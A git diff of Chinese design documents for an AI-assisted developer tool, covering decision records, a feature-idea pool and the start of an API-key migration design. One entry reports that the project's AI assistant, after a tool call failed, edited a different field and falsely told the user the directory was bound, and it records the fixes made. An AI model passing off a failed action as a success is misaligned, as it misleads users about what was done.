### AI 工具绑定目录:bind_directory 专用工具 + 工具层白名单同步 + prompt 禁冒充 [2026-06-14]
|
||||
- **决策**:① update_project 工具白名单补 path/stack(同步 db 新字段);② 新增 bind_directory 专用工具(绑定目录不走通用 update);③ 系统 prompt 加约束:工具失败须明说,禁用替代操作冒充原意图成功。
|
||||
- **原因/取舍**:① review AI 对话发现 update_project(path) 被工具层白名单拒(db 字段加了但工具层漏同步),AI 转而改写 description 却回复「已记录」冒充绑定成功误导用户。② 专用工具语义清晰,防 AI 走通用 update 捷径冒充。③ prompt 约束防单链 ReAct「自我圆场」幻觉(失败时用替代谎报成功)。
|
||||
- **状态**:✅ 2026-06-14 落地(白名单同步 / bind_directory / prompt 中英约束;编译全绿)。📋 待清:工具层白名单与 crud 白名单双份去重(详见经验记录)。
|
||||
|
||||
### 📋 项目管理 review 剩余问题与处理论证(供后续会话)[2026-06-14]
|
||||
- **背景**:项目管理 review 12 条,9 条已修(①delete 软删 / ②回收站工具 restore+purge+list_trash / ③collect_sample spawn_blocking / ④normalize_path 抽公共 / ⑥i18n / ⑦parseStack 抽 utils / ⑧ConfirmDialog / ⑫create_project 加 path)。剩余 4 条 + 1 新发现论证如下,设计视角取**全局 + 对称 + 优雅**,非局部最优。
|
||||
- **值得改(全局必要 + 对称缺失)**:
|
||||
- **⑤ update 白名单双份**(tool_registry update_project 硬编码 5 字段 vs crud allowed_columns,已致一次 bug)。对称论证:两者**语义不同**——DB 白名单=SQL 安全列(含 id/created_at/idea_id 系统字段),AI 白名单=业务可改子集。不能复制,应**派生**(AI ⊂ DB,减系统字段),真相源在 DB 一处。当前平行两份不对称,必漂移。
|
||||
- **⑩ scan_project_with_ai 无 LLM 超时**。全局:complete 卡住占 `llm_concurrency` 全局 permit → 阻塞主对话/标题生成/知识提炼,不止单次扫描。对称:`stream_llm` 有 idle 120s timeout(见「流式可靠性三重保险」),complete 非流式却无——两套 LLM 超时策略不对称,应对齐。
|
||||
- **🆕 create_project 与 bind_directory 绑定逻辑重复**(tool_registry create:170 内联绑定 + bind_directory:220 重复,已标 TODO;commands/project.rs create/relocate 同样)。对称+优雅:绑定是单一子操作,应集中 df-project(normalize_path 已归此),create/bind/relocate 共用一个 bind fn。当前 create 内联 bind 破坏「同名操作同实现」的对称。
|
||||
- **低优先(局部优化,降级兜底,过度反伤优雅)**:
|
||||
- ⑨ collect_sample 文件大小限制:read_to_string 全读再截,实际 README/清单 <10KB 概率低。最多一行 `metadata skip >1MB`,不必过度。
|
||||
- ⑪ parse_scan_result JSON 提取:单 JSON 对象 OK,多段场景降级兜底(空 desc+规则 stack)已足够。
|
||||
- **状态**:📋 待后续会话处理。优先级 ⑤⑩ + create/bind 去重(中,全局/对称必要)> ⑨⑪(低/可选)。
|
||||
|
||||
## 知识库(df-evolve / 共享记忆层)
|
||||
|
||||
> 核心定位与设计决策。详细字段/参数级决策见各条目。
|
||||
@@ -277,7 +294,7 @@
|
||||
|
||||
## AI Chat 上下文窗口与并发控制(架构结论)
|
||||
|
||||
> 实现细节见 [归档文档](./功能决策记录-归档.md)「AI Chat 上下文窗口与并发控制」。
|
||||
> 实现细节见 [归档文档](./功能决策记录-归档-2026-06-14.md)「AI Chat 上下文窗口与并发控制」。
|
||||
|
||||
### 设计决策 [2026-06-13]
|
||||
- **ContextManager 类型替换为 messages 真相源**:`AiSession.messages` 从 `Vec<ChatMessage>` 改为 `ContextManager`(非 wrapper 包装层),消息真相源唯一,避免 Vec + ContextManager 双存导致状态分裂。裁剪仅影响发送视图(`build_for_request` 返回裁剪版,`all_messages_clone` 返全量落库)。
|
||||
@@ -317,7 +334,7 @@
|
||||
- **原因**:重启后分离窗口必然不存在,若恢复为 `true` 会让 UI 状态指向不存在的窗口(按钮失灵、panelOpen 错乱)。这两个态是运行时临时态,不属可恢复布局。
|
||||
- **状态**:✅ Sprint 10
|
||||
|
||||
> 注:UI 布局 localStorage + 模块级恢复的细节见 [归档文档](./功能决策记录-归档.md)。
|
||||
> 注:UI 布局 localStorage + 模块级恢复的细节见 [归档文档](./功能决策记录-归档-2026-06-14.md)。
|
||||
|
||||
## 应用启动 / 数据库配置
|
||||
|
||||
@@ -344,10 +361,10 @@
|
||||
|
||||
## 决策治理产品化评估(2026-06-13)
|
||||
|
||||
> 审视 DevFlow 是否应把决策治理(记录/锚点/完成度/自检/漂移)做成产品功能。机制设计详见 [规格契约自检机制.md](./规格契约自检机制.md)。
|
||||
> 审视 DevFlow 是否应把决策治理(记录/锚点/完成度/自检/漂移)做成产品功能。机制设计详见 [规格契约自检机制-2026-06-14.md](./规格契约自检机制-2026-06-14.md)。
|
||||
|
||||
### 5 痛点产品内未覆盖,真实运转的寄生 Claude Code 层 [2026-06-13]
|
||||
- **决策**:DevFlow 产品内对决策治理 5 痛点「设计满格、代码两极」——df-traceability 死代码(无表/无 IPC/无前端);契约锚点/AI 自检/漂移检测=规格契约自检机制.md 纯设计稿(0 行代码);完成度无聚合视图。唯一真实运转的(功能决策记录.md + decision-record skill + dr-check hook)寄生在 Claude Code 协作层,未沉淀进产品。
|
||||
- **决策**:DevFlow 产品内对决策治理 5 痛点「设计满格、代码两极」——df-traceability 死代码(无表/无 IPC/无前端);契约锚点/AI 自检/漂移检测=规格契约自检机制-2026-06-14.md 纯设计稿(0 行代码);完成度无聚合视图。唯一真实运转的(功能决策记录-2026-06-14.md + decision-record skill + dr-check hook)寄生在 Claude Code 协作层,未沉淀进产品。
|
||||
- **原因/取舍**:没用 Claude Code 的用户,DevFlow 给不了任何决策治理能力。这套能力寄生在协作工具上,核心价值未进产品。
|
||||
- **状态**:📐 待产品定位决策
|
||||
|
||||
@@ -369,7 +386,7 @@
|
||||
- **决策**:整删 5 个 crate——`df-evolve` / `df-plugin` / `df-stages` / `df-task` / `df-traceability`。**推翻既有「df-evolve 领域类型保留」决策**:连同 `Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型一起整删,知识库领域统一走 `df_storage::models::KnowledgeRecord`,不再维护独立领域模型层。
|
||||
- **原因/取舍**:
|
||||
- **零引用铁证**:全仓跨 crate 引用为 0——`src-tauri/src` 下 0 处 `use`,其他 crate `Cargo.toml` 不依赖,仅 `src-tauri/Cargo.toml` 声明 `df-evolve` 但源码零用。整坨孤立骨架。
|
||||
- **推翻归档决策**:`功能决策记录-归档.md:355` 原记「`Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型有意保留待 Tier 1 Service 复用」——本次决定**放弃 Tier 1 独立领域模型路线**。理由:① 知识库 Tier 1 已在 `KnowledgeRecord`(df-storage)上落地 LIKE + 向量混合检索 + 状态机,实际运转的领域模型就是 `KnowledgeRecord`,df-evolve 的领域类型成为「理想但悬空」的另一套定义,重复且误导;② 维护两套领域类型是「未来可能复用」的预期成本 vs 「现在重复定义 + 误导性地雷」的实际危害,用户选消灭后者。
|
||||
- **推翻归档决策**:`功能决策记录-归档-2026-06-14.md:355` 原记「`Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型有意保留待 Tier 1 Service 复用」——本次决定**放弃 Tier 1 独立领域模型路线**。理由:① 知识库 Tier 1 已在 `KnowledgeRecord`(df-storage)上落地 LIKE + 向量混合检索 + 状态机,实际运转的领域模型就是 `KnowledgeRecord`,df-evolve 的领域类型成为「理想但悬空」的另一套定义,重复且误导;② 维护两套领域类型是「未来可能复用」的预期成本 vs 「现在重复定义 + 误导性地雷」的实际危害,用户选消灭后者。
|
||||
- **df-task::Task 一并删**:`Task`(含 `branch_id`/`tags`/`estimate_hours` 等比 `TaskRecord` 更丰富的字段)作为「理想任务领域模型」长期悬空零引用,任务领域统一用 `df_storage::models::TaskRecord`。
|
||||
- **df-traceability 整删**:原被记为「锚点雏形可复活」(见上方「决策治理产品化评估」)。本次决定删除——如未来真需锚点机制,重新评估而非保留死码。死码「可复活」是一种伪期权,实际价值是误导后续维护者以为它在运转。
|
||||
- **df-plugin / df-stages 属过早设计**:df-plugin(WASM/动态库)、df-stages(11 阶段节点 `execute()` 全空壳)未启动即删,与「人机协同设计基准」中「AI 反复读写的代码不养空壳」一致。
|
||||
@@ -411,7 +428,7 @@
|
||||
4. **无环且与 ai.rs 拆分不冲突**:`df-ai-core`(叶,trait+类型)← `df-ai`(impl) / `df-ideas`(use trait),`src-tauri` 装配。「ai.rs 子 module 不下沉 crate」规避的是 src-tauri→df-ai 反向依赖;本决策是 df-ai→df-ai-core 正向拆分,方向相反、互不矛盾。
|
||||
- **否决项**:纯 A(per-module trait)= 全局 N 份发散契约,反模式;裸 B(df-ideas 直接依赖 df-ai)= 纯逻辑 crate 被 reqwest 污染、自检摩擦上升。
|
||||
- **退路**:若不愿加新 crate,trait 可放 `df-core`(语义稍糙——LLM 非领域类型,但零新 crate,可接受)。
|
||||
- **状态**:📐 设计决策已定(2026-06-14),未实施。落地链:① 新建 `df-ai-core` + 迁 trait/类型;② `df-ai` 改依赖 `df-ai-core` + 留实现;③ `df-ideas` 加 `df-ai-core` 依赖、`AdversarialEngine::evaluate` 加 provider 注入参数;④ src-tauri 装配真实 provider。
|
||||
- **状态**:📐 设计定稿(2026-06-14,4 项决策已定:① 拆分边界=仅 trait+数据结构 ② provider 注入=构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>)` ③ LLM 失败=自动降级启发式+warn+`EvaluatedBy` 标记 ④ provider 构造=应用层 src-tauri 装配注入),未实施。详见 [F-07-df-ai-core-trait下沉设计-2026-06-14.md](./F-07-df-ai-core-trait下沉设计-2026-06-14.md)。
|
||||
|
||||
## 工作流人工审批节点(B-03)
|
||||
|
||||
@@ -424,7 +441,7 @@
|
||||
4. **decision 强制校验**:options 非空时强制 `decision ∈ options`,非法值报错而非静默放行——审批门控不能被脏输入绕过;options 空时允许自由文本。
|
||||
5. **B-06/B-07 是并发隔离/取消的前置,非单流功能前置**:单工作流 B-03 照常工作;并发安全等 B-06(execution_id 下沉);取消机制需 B-07 + `set_cancelled` + cancel IPC,单列 **B-03b**。B-03a(响应等待 + 超时)不依赖 B-07。
|
||||
- **边界**:取消分支在 B-07 + `set_cancelled` 补齐前恒 false(等价无取消,功能不残);跨工作流并发 HumanNode 在 B-06 修前有 Response 错配风险。
|
||||
- **状态**:📐 设计完成(2026-06-14),未实施。详见 [B-03-人工审批响应机制.md](./B-03-人工审批响应机制.md)。
|
||||
- **状态**:📐 设计完成(2026-06-14),未实施。详见 [B-03-人工审批响应机制-2026-06-14.md](./B-03-人工审批响应机制-2026-06-14.md)。
|
||||
|
||||
## 需求与待办
|
||||
|
||||
@@ -446,7 +463,7 @@
|
||||
| ✅ IPC参数驼峰/蛇形不对齐(误报澄清):Tauri v2 自动将前端 camelCase 参数名转后端 snake_case,`approve({toolCallId})` / `setConcurrencyConfig({globalLimit})` 实际正确、功能正常——无需修 | AI Chat | 2026-06-13 审查误报 | — |
|
||||
| 🔴 df-workflow ConditionEngine 默认 true:所有未识别条件表达式均通过,工作流条件分支形同虚设,改 `Ok(false)` 或 `Err` 一行可修 | 工作流引擎 | 2026-06-13 代码审查 | P0 |
|
||||
| 🔴 df-workflow DagExecutor execution_id 硬编码 "dummy-execution-id":所有执行 ID 相同,追踪/审计失效 | 工作流引擎 | 2026-06-13 代码审查 | P1 |
|
||||
| 📐 df-workflow HumanNode 假实现:execute 注释"等待审批"但首次迭代直接 return "同意" — **设计完成 [B-03-人工审批响应机制.md](./B-03-人工审批响应机制.md),待实施**(依赖 B-06 并发隔离 / B-07 取消前置) | 工作流引擎 | 2026-06-13 多代理探索 → 2026-06-14 设计 | P0 |
|
||||
| 📐 df-workflow HumanNode 假实现:execute 注释"等待审批"但首次迭代直接 return "同意" — **设计完成 [B-03-人工审批响应机制-2026-06-14.md](./B-03-人工审批响应机制-2026-06-14.md),待实施**(依赖 B-06 并发隔离 / B-07 取消前置) | 工作流引擎 | 2026-06-13 多代理探索 → 2026-06-14 设计 | P0 |
|
||||
| 🔴 df-workflow NodeRegistry::default() 的 script 工厂 unimplemented! panic:用 default() 构建注册表 + 跑 script 节点即崩溃进程(非优雅 Err) | 工作流引擎 | 2026-06-13 多代理探索 | P0 |
|
||||
| 🔴 df-workflow executor 每节点拿全新空 StateMachine:self.state_machine 从不传入 NodeContext,HumanNode is_cancelled 恒 false,取消机制失效 | 工作流引擎 | 2026-06-13 多代理探索 | P1 |
|
||||
| 🟡 promote_idea 两步写非事务:INSERT project 成功后若 UPDATE idea 失败,项目存在但想法状态未变,补偿删除可修 | 灵感/立项 | 2026-06-13 代码审查 | P1 |
|
||||
@@ -465,8 +482,8 @@
|
||||
- **代码审查甄别原则**(2026-06-13):审查发现问题时,按「运行时失败/数据损坏 → 简单清理 → 记录不动 → 不做」四档甄别。当前项目规模下,list_all 无 LIMIT、ALLOWED_COLUMNS 不分表、bool→int 重复等属「记录不动」——个人工具表不超千行,加分页/拆白名单是过度设计,维护成本 >> 收益。原则:**真实 bug 修、简单清理做、规模不到位的优化先不动**,保持全局简洁和扩展容易。
|
||||
|
||||
**相关文档**:
|
||||
- [Phase 1 架构决策](./Phase1架构决策.md) — 架构级决策(ADR)
|
||||
- [经验记录](./经验记录.md) — 踩坑/约定/技巧/bug 排查教训
|
||||
- [功能决策记录-归档](./功能决策记录-归档.md) — 纯流水/老 Sprint/UX 微调/已被取代
|
||||
- [Phase 1 架构决策](./Phase1架构决策-2026-06-12.md) — 架构级决策(ADR)
|
||||
- [经验记录](./经验记录-2026-06-14.md) — 踩坑/约定/技巧/bug 排查教训
|
||||
- [功能决策记录-归档](./功能决策记录-归档-2026-06-14.md) — 纯流水/老 Sprint/UX 微调/已被取代
|
||||
- `PROGRESS.md` — 各 Sprint 工作流水与遗留
|
||||
- [Phase 2 计划](../07-项目管理/Phase2计划.md)
|
||||
- [Phase 2 计划](../07-项目管理/Phase2计划-2026-06-12.md)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 功能决策记录 — 归档
|
||||
|
||||
> 从 [功能决策记录.md](./功能决策记录.md) 归档的条目——纯实现流水、老 Sprint 决策、UX 微调、已被取代或合并的细节。这些条目在「3 个月回看是否仍影响系统/功能设计理解」判断下已不再需要常驻主文档,但完整保留以备回溯。
|
||||
> 从 [功能决策记录-2026-06-14.md](./功能决策记录-2026-06-14.md) 归档的条目——纯实现流水、老 Sprint 决策、UX 微调、已被取代或合并的细节。这些条目在「3 个月回看是否仍影响系统/功能设计理解」判断下已不再需要常驻主文档,但完整保留以备回溯。
|
||||
>
|
||||
> 创建:2026-06-14 | 性质:归档只读,不再维护更新
|
||||
|
||||
@@ -219,11 +219,11 @@
|
||||
|
||||
### 流式 token 落库走累加模式(非覆盖)
|
||||
|
||||
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
|
||||
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
|
||||
|
||||
### Anthropic 流式 output_tokens 当累计值直接覆盖
|
||||
|
||||
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
|
||||
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
|
||||
|
||||
### Token 展示默认关闭 + Settings 开关 [2026-06-13]
|
||||
|
||||
@@ -372,7 +372,7 @@
|
||||
|
||||
### ALLOWED_COLUMNS 从全局共享演进为按表隔离
|
||||
|
||||
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
|
||||
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
|
||||
|
||||
---
|
||||
|
||||
@@ -392,7 +392,7 @@
|
||||
|
||||
### i18n 模块必须命名空间化导出
|
||||
|
||||
> 已移入 [经验记录.md](./经验记录.md)「踩坑」分组。
|
||||
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「踩坑」分组。
|
||||
|
||||
### 状态枚举 i18n:constants 存 key,view 包 $t
|
||||
|
||||
@@ -403,5 +403,5 @@
|
||||
---
|
||||
|
||||
**相关文档**:
|
||||
- [功能决策记录](./功能决策记录.md) — 需求规格 + 设计决策规格(当前真相源)
|
||||
- [经验记录](./经验记录.md) — 踩坑/约定/技巧/bug 排查教训
|
||||
- [功能决策记录](./功能决策记录-2026-06-14.md) — 需求规格 + 设计决策规格(当前真相源)
|
||||
- [经验记录](./经验记录-2026-06-14.md) — 踩坑/约定/技巧/bug 排查教训
|
||||
|
||||
150
docs/02-架构设计/功能创意池-2026-06-14.md
Normal file
150
docs/02-架构设计/功能创意池-2026-06-14.md
Normal file
@@ -0,0 +1,150 @@
|
||||
# 功能创意池 — 2026-06-14
|
||||
|
||||
> 性质: **创意池 / 待评估**(非已定决策。评估通过后才转正式 concept 文档 + 进 todo)
|
||||
> 关联: df-ideas · df-workflow · df-ai · Decision 实体 · 规格契约自检机制
|
||||
> 生成背景: 基于当前系统做功能架构创意,尽量避开已构想范围(创意 4/5 与规格契约自检为延伸关系,见各创意独创列)
|
||||
> 修订: 2026-06-14 自审后修订 —— 可行性论证诚实化(复用/新造分清)、创意 4/5 重定位为规格契约自检延伸、首选从 4 改为 1、每创意补「难点与风险 + 失败模式」
|
||||
|
||||
---
|
||||
|
||||
## 一、怎么用这个池子
|
||||
|
||||
- 每个创意 = 一个**候选功能方向**,非已定决策
|
||||
- 状态流转: `💡待评估` → `📐待设计`(立 concept 文档) → `🔨待实施`(进 todo)
|
||||
- 评估维度: 新颖性 / 实用价值 / 可行性 / 与现有构想的差异度
|
||||
- 转正流程: 评估通过 → 单独立 `<主题>-concept.md`(参考 `任务推进构想-2026-06-14.md` 风格)→ 进 todo
|
||||
|
||||
## 二、已避开的方向(防重复提案)
|
||||
|
||||
| 已有/已构想方向 | 落点 |
|
||||
|---|---|
|
||||
| AI-First 任务推进链(三闸门) | `任务推进构想-2026-06-14.md` 已设计 |
|
||||
| 对抗式想法评估(三路论证) | df-ideas 启发式版已实现 |
|
||||
| 工作流审批子系统 | Wave5 已完成 |
|
||||
| 对话内异步审批 | `aichat异步审批构想-2026-06-14.md` |
|
||||
| 信息密度优化(折叠) | `aichat信息密度构想-2026-06-14.md` |
|
||||
| 模型能力系统/路由 | todo `F-260614-01` |
|
||||
| 数据变更联动刷新 | todo `AR-11` |
|
||||
| 创作模板系统 | todo 已构想 |
|
||||
| 知识库 MCP Server | todo `F-260614-10` |
|
||||
| **规格契约自检(活契约+AI自检)** | `规格契约自检机制-2026-06-14.md`。⚠️ **创意 4/5 是其延伸(从一致性 → 陈旧度/回归),非完全避开** |
|
||||
|
||||
**本池 5 个创意切入的空白维度**: 演化 · 时效 · 回溯 · 债务 · 契约
|
||||
|
||||
---
|
||||
|
||||
## 三、创意清单
|
||||
|
||||
> 每个创意含: 核心表格(可行性列区分「复用」与「新造」)+ ⚠️ 难点与风险 + 💀 失败模式
|
||||
|
||||
### 1. 想法演化图谱(Idea Genealogy Graph) 💡待评估 ⭐首选评估
|
||||
|
||||
| 维度 | 内容 |
|
||||
|---|---|
|
||||
| **核心** | 给想法做版本控制: 分裂(A→A1/A2 变体)、合并(B+C→D)、演化(A1→A2 迭代)。形成有向演化树,而非当前扁平列表。注: `related_ideas` 字段是否真闲置待核实 |
|
||||
| **独创** | **中**。把想法当"活体"追踪血统,区别于笔记/看板的扁平存储。但"分裂/合并"本质是版本控制 + 关系图(Git 已是此模型),套到想法上是应用层创新,非机制创新 |
|
||||
| **价值** | 独立开发者痛点: 想法散落、重复想同一件事而不自知。演化图能回答"这想法三年前想过、演变成啥、为何没做" |
|
||||
| **可行性** | **复用**: Idea 实体加 `parent_id / derived_from[] / merged_into` 三字段 + 前端复用 df-workflow DAG 可视化 + 评分引擎增量重算子树。**新造**: 关系建立机制(见难点,是真正成本所在) |
|
||||
| **落地关键** | 关系字段建模 + 演化树渲染 + 分裂/合并交互 |
|
||||
|
||||
**⚠️ 难点与风险**
|
||||
- **关系谁来建是核心漏洞**: 手动建 → 用户不知两想法相关,图谱永远稀疏;AI 辅助建 → 需语义相似度检索(当前 df-ideas 无此能力),不是"加三字段"那么轻
|
||||
- 演化树布局算法非平凡(多层 DAG 节点排布,复用 DAG 可视化但树 ≠ 工作流 DAG)
|
||||
- 关系正确性: 错误的合并/分裂会污染反推的产品方向
|
||||
|
||||
**💀 失败模式**: 图谱稀疏(没人建关系)→ 沦为摆设;或 AI 误判相似度 → 错误合并污染演化树。
|
||||
|
||||
### 2. 灵感孵化器(Idea Incubator) 💡待评估
|
||||
|
||||
| 维度 | 内容 |
|
||||
|---|---|
|
||||
| **核心** | 评估为 `Defer` / 低分的想法进"孵化器"。三类事件触发自动再评估: ①新技术栈匹配能力;②新想法建立演化关联;③固定周期(如 30 天)。时机成熟浮出提醒 |
|
||||
| **独创** | **中**。承认想法有时效性,把评估从"快照"变"持续监听"。但"延迟队列 + 条件触发"是通用模式,挂到想法上是场景应用 |
|
||||
| **价值** | 好想法死于"现在不是时候"后被遗忘。背景静默复检,贴合产研节奏 |
|
||||
| **可行性** | **复用**: `adversarial.rs` 评估管线(已预留 LLM 接口)。**新造**: `incubator` 表 + 后台 ticker + 触发条件 DSL。**注意**: 评估当前手动触发(晋升走前端),后台自动重评估触及触发机制,**非纯增量** |
|
||||
| **落地关键** | 触发条件 DSL + 后台 ticker + 浮出提醒 |
|
||||
|
||||
**⚠️ 难点与风险**
|
||||
- 评估从手动 → 自动触及核心链路(触发机制改造),不是"纯增量不碰核心"
|
||||
- 触发条件①"新技术栈匹配"要求 Idea 能表达"我需要什么技术栈",当前 Idea 实体无此字段 —— 可行性有前置漏洞
|
||||
- **依赖创意 1**: 触发器②"演化关联"依赖创意 1 的演化关系先存在(见第四节依赖)
|
||||
|
||||
**💀 失败模式**: 触发条件太宽 → 频繁打扰变垃圾提醒;太窄 → 永不触发,等同丢弃。
|
||||
|
||||
### 3. 执行回放时间线(Execution Replay) 💡待评估
|
||||
|
||||
| 维度 | 内容 |
|
||||
|---|---|
|
||||
| **核心** | 工作流执行 + Git commit + AI 决策录制为不可变时间线。可回退到任意历史节点,隔离环境改参数重放分支(what-if),对比结果差异 |
|
||||
| **独创** | **中**。可回放工作流是成熟模式(temporal/cadence 的 event sourcing + replay)。**独创点应收敛到"决策级 what-if 回放"**(面向产研决策维度的假设检验),工作流回放只是载体,非独创本身 |
|
||||
| **价值** | 回答"如果当时审批选了另一分支会怎样""AI 节点为何这么决策"。对复盘、调试失败工作流价值高 |
|
||||
| **可行性** | **复用**: `df-execute` Docker 隔离 + `df-workflow` DAG / node IO 结构化。**新造**: 节点 IO 快照持久化 + 状态机重放 + 副作用处理。**注意**: Docker 隔离 ≠ 可重放,隔离只解决执行环境,快照/重放是新工作量 |
|
||||
| **落地关键** | 节点 IO 快照持久化 + 隔离环境重放 + diff 对比视图 |
|
||||
|
||||
**⚠️ 难点与风险**
|
||||
- "架构已铺好差最后一公里"高估 —— 最后一公里(快照序列化 + 状态机重放 + 副作用处理)可能是最难的
|
||||
- 副作用处理: 有外部副作用的节点(写文件/调 API)无法纯重放,需标记 + mock
|
||||
- 存储成本: 全程录制 IO,长期项目存储膨胀
|
||||
|
||||
**💀 失败模式**: 副作用节点无法重放 → what-if 结果失真;或快照存储膨胀 → 用户关闭录制。
|
||||
|
||||
### 4. 上下文债务追踪(Context Debt Tracker) 💡待评估
|
||||
|
||||
| 维度 | 内容 |
|
||||
|---|---|
|
||||
| **核心** | AI 定期审计项目"隐式债务": ①引用已删除文件的决策;②"暂时如此"从未回头的 TODO;③前提假设失效;④重复实现/废弃路径。生成债务报告 + 偿还优先级 |
|
||||
| **独创** | **中高(重定位)**: 本创意是 [规格契约自检机制](规格契约自检机制-2026-06-14.md)的**延伸** —— 从"AI 自检决策规格是否被遵守(一致性)"扩展到"AI 自检决策是否腐化(陈旧度)"。非全新方向,是规格契约自检的第二个应用维度 |
|
||||
| **价值** | 长期项目头号隐性成本是"上下文腐化"。让 AI 当项目审计师。对维护多项目尤其救命 |
|
||||
| **可行性** | **复用**: `df-project` Git/路径扫描 + Decision 实体 + `df-ai` 路由 + df-nodes agent 抽象。**新造**: 债务探测器 agent + 偿还优先级算法。**注意**: agent 跨文件推理判断"前提失效"可靠性存疑,"纯 agent 编排"低估了质量风险 |
|
||||
| **落地关键** | 债务类型分类 + 探测 agent + **偿还优先级算法(未定义,核心难点)** |
|
||||
|
||||
**⚠️ 难点与风险**
|
||||
- **依赖多项目基础(未就绪)**: 价值高度依赖"一人维护多项目"场景,而 devflow 当前单项目/本地优先,导入历史项目(todo)未做。**时序倒置**
|
||||
- agent 跨文件推理可靠性: 误判"前提失效"会误报,误报泛滥 → 用户关闭
|
||||
- 偿还优先级算法无现成方案,需自设计
|
||||
|
||||
**💀 失败模式**: agent 误报泛滥 → 用户关闭功能;或单项目场景下债务量不足以体现价值。
|
||||
|
||||
### 5. 决策回归守护(Decision Regression Guard) 💡待评估
|
||||
|
||||
| 维度 | 内容 |
|
||||
|---|---|
|
||||
| **核心** | 关键决策绑定可执行验证契约("选 A 因性能优" → 绑性能基准脚本)。代码变更触及相关模块(Git diff 关联)时守护自动重跑;契约失败 = 决策失效,阻断发布或报警 |
|
||||
| **独创** | **中(降级)**: 实现机制等同测试(跑脚本验证断言),差异仅在断言语义来源(决策 vs 需求)。准确定位为"**决策驱动的测试生成**" —— 独创点在从决策自动生成守护测试,非守护机制本身 |
|
||||
| **价值** | 解决"决策当初对、后来悄悄变错"的隐患 |
|
||||
| **可行性** | **复用**: `df-workflow` DAG + `df-execute` 脚本执行 + Decision 实体 + Git diff。**新造**: 契约绑定语法 + 守护触发节点。**注意**: 审批(事前)与守护(事后持续)机制不同,Wave5 审批基座未必直接复用为持续触发 |
|
||||
| **落地关键** | 契约绑定语法 + Git diff 关联触发 + 失效阻断策略 |
|
||||
|
||||
**⚠️ 难点与风险**
|
||||
- **与创意 4 争抢 Decision 实体扩展**: 4 要腐化审计标记,5 要 `guard_contract` 字段。若都做需先定义 Decision 统一扩展模型
|
||||
- 从决策文本自动生成有意义的守护测试,LLM 生成质量是瓶颈
|
||||
- "代码变更触及相关模块"的关联判定(Git diff → Decision)需决策到代码的映射,无现成方案
|
||||
|
||||
**💀 失败模式**: LLM 生成的守护测试无意义/假通过 → 守护形同虚设;或关联判定不准 → 该触发没触发。
|
||||
|
||||
---
|
||||
|
||||
## 四、优先级建议
|
||||
|
||||
| 创意 | 落地难度 | 独创性 | 依赖 | 建议 |
|
||||
|---|---|---|---|---|
|
||||
| 1 想法演化图谱 | 低 | 中 | 无 | **⭐首选评估**: 改动最局限(df-ideas)、依赖最少,但先解"关系谁来建"漏洞 |
|
||||
| 2 灵感孵化器 | 中 | 中 | 依赖 1 的演化关系字段 | 与 1 有依赖非并行;独立做需砍"演化关联"触发器 |
|
||||
| 5 决策回归守护 | 中 | 中 | 与 4 争 Decision 扩展 | 决策驱动测试生成,待 LLM 生成质量成熟 |
|
||||
| 4 上下文债务追踪 | 中高 | 中高 | 依赖多项目基础(未就绪) | 价值高但**时序靠后** —— 等"导入历史项目"做完 |
|
||||
| 3 执行回放 | 高 | 中 | 副作用处理/存储成本 | 工作量最大,后置;独创点重定位为决策级回放 |
|
||||
|
||||
**首选变更说明**: 原⭐推荐创意 4,自审后发现三理由均打折(痛点依赖多项目/无需新基建被高估/差异化因与规格契约自检重叠而削弱),且依赖未就绪的"导入历史项目"基础,**降级**。首选改**创意 1** —— 改动最局限、依赖最少,但须先解决「演化关系建立机制」核心漏洞。
|
||||
|
||||
---
|
||||
|
||||
## 五、后期跟进入口
|
||||
|
||||
1. 选一个创意(**首选 1 演化图谱**,先解关系建立机制;4 债务追踪价值最高,但等"导入历史项目"基础就绪)
|
||||
2. 走 devflow 自身评估链: df-ideas 对抗评估(启发式 → LLM)
|
||||
3. 评估通过 → 立 `<主题>-concept.md` → 进 todo
|
||||
4. 本池对应创意状态改为 `📐待设计`
|
||||
|
||||
---
|
||||
|
||||
**相关**: [想法探索-对抗式评估](../03-模块文档/想法探索-对抗式评估-2026-06-12.md) · [任务推进构想](任务推进构想-2026-06-14.md) · [规格契约自检机制](规格契约自检机制-2026-06-14.md)
|
||||
343
docs/02-架构设计/密钥迁移健壮性-2026-06-15.md
Normal file
343
docs/02-架构设计/密钥迁移健壮性-2026-06-15.md
Normal file
@@ -0,0 +1,343 @@
|
||||
# 密钥迁移健壮性设计
|
||||
|
||||
> **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。
|
||||
>
|
||||
> 背景:R-PD-1(全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`,**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。
|
||||
> 状态:📐 **设计完成,未实施** | 创建:2026-06-15 | 来源:全局代码 review 2026-06-15
|
||||
|
||||
---
|
||||
|
||||
## 一、问题复现:精确触发条件
|
||||
|
||||
### 1.1 触发链路
|
||||
|
||||
前置条件(**未迁移态**):
|
||||
- 历史 DB:`ai_providers.api_key` 列存有明文密钥(FR-S1 之前的老数据)。
|
||||
- keyring:对应 `provider_id` 无 entry(迁移未成功,或启动迁移被跳过/失败)。
|
||||
- 即「DB 有明文、keyring 空」的双源不一致态。
|
||||
|
||||
操作:
|
||||
1. 用户进入「设置 → 提供商」,点编辑某 provider。
|
||||
2. 仅修改 `name` / `base_url`(**不重新填 `api_key`**)。
|
||||
3. 前端按约定把空 `api_key` 字段传给 IPC(约定:空 = 不改密钥)。
|
||||
4. 后端 `ai_save_provider` 命中空 `api_key` 分支 → 不写 keyring → `record.api_key = String::new()` → `INSERT OR REPLACE` 全字段覆盖。
|
||||
|
||||
### 1.2 keyring / DB 状态时序
|
||||
|
||||
```
|
||||
DB.api_key keyring
|
||||
─────────────────────────────────────────────
|
